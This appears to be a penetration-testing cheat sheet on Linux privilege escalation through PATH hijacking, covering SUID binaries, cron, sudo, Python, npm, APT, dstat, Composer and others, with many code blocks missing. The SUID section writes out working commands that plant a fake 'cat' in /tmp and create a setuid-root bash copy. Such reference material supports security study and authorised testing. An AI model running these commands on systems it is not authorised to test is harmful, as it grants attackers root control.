Hijacks
When a SUID binary calls an external command without using its absolute path (e.g., cat instead of /bin/cat), the system searches for the executable in directories listed in $PATH, in order. This allows an attacker to inject a malicious executable that gets executed with elevated privileges.
Identify the vulnerability:
Find a
SUIDbinary that calls external commandsUse
stringsorltraceto check if commands are called without absolute paths
Check current PATH:
echo $PATHHijack the PATH:
export PATH=/tmp:$PATHCreate malicious executable:
echo '#!/bin/bash' > /tmp/cat
echo 'id' >> /tmp/cat
chmod +x /tmp/catEscalate to root shell:
echo 'cp /bin/bash /tmp/rootshell; chown root:root /tmp/rootshell; chmod 4777 /tmp/rootshell' > /tmp/catecho -e '#!/bin/bash\n\ncp /bin/bash /tmp/tokyo\nchown root:root /tmp/tokyo\nchmod 6777 /tmp/tokyo' | tee HIJACKED.sh/tmp/rootshell -pPath Hijacking interactive shell
If there is a writable directory in the $PATH (e.g., /tmp or /home/user/) that is checked before system directories when running sudo, and an attacker can control the contents of this directory.
cd /var/tmp && cp /bin/bash .sudo -iPath Hijacking cron
When
PATHincludes/usr/local/binbefore/usr/binin thecronjob's environment.When a binary or script is executed
without an absolute path.
bashdropsSUIDprivileges by default, so make sure to run it with-pto keep root:
PHP
Reverse shell template
Path Hijacking supervisord.pid
Process management tool for keeping services running.
Each managed process must have a
[program:<name>]line followed by another linecommand=where you should place the payload.
Path Hijacking Python
Python prioritize modules within the vulnerable script's directory, so you could place the malicious module there
Path Hijacking symlink
tar wildcards
Sudoedit Double Wildcard Exploit
Using this exploit is possible to create a symbolic link pointing to the
authorized_keysfile.
TOCTOU - Time-To-Check-Time-of-Use
Is a type of race condition where a system checks a resource’s state at one point in time but acts on that state later.
Between the check and the use, the resource can be altered by an attacker.
The vulnerable script checks
/tmp/vuln_linkand then uses it, assuming it points to a safe file.
Conditional Logic and Environment Variables
In some cases, the vulnerable script uses additional logic or environment variables that affect whether the resource is read or acted upon after the initial check.
This can require more sophisticated exploitation, such as using a
double symlinkor toggling environment variables to bypass checks.
Path Hijacking doas
doasis a lightweight, simple command-line utility for running commands with elevated privileges on Unix-like systems, similar tosudo.doas.confhave important information for privilege escalation:
Path Hijacking APT
Pre-Invoke
Create a malicious config file to be invoked before
APTruns:
APTcheck this directory forpre-invokescripts:
Just wait for listener.
Path Hijacking npm
A
NodeJSpackage is defined in a filepackage.json, is possible to create a malicious package and run it with the--unsafeoption to get code execution:
The malicious
package.jsonneeds to be contain within the fake package directory; once is all setup just run it withsudo:
dstatPlugin poisoning
Allows to run arbitrary python scripts loaded as “external plugins” if they are located in one of the directories stated in the man page:
~/.dstat/(path of binary)/plugins//usr/share/dstat//usr/local/share/dstat
Normally to escalate privilege you want to choose the ones within the root path, check for writable permissions:
Create a malicious plugin:
Execute it with --PluginName:
Path Hijacking Composer
First create the temporal folder where you will invoke the shell from and save in an environmental variable:
Once is done, create the malicious script to feed
composer:
Finally, just execute the script with it's in-build option:
Path Hijacking GitPython
CVE-2022-24439
Inadequate validation of user input when handling remote URLs passed to the clone command:
Path Hijacking tcpdumb
There is a GTFOBin entry for tcpdump
Now, looking at the /tmp folder, we see that we have successfully created a copy of /bin/bash as /tmp/bash_root
Last updated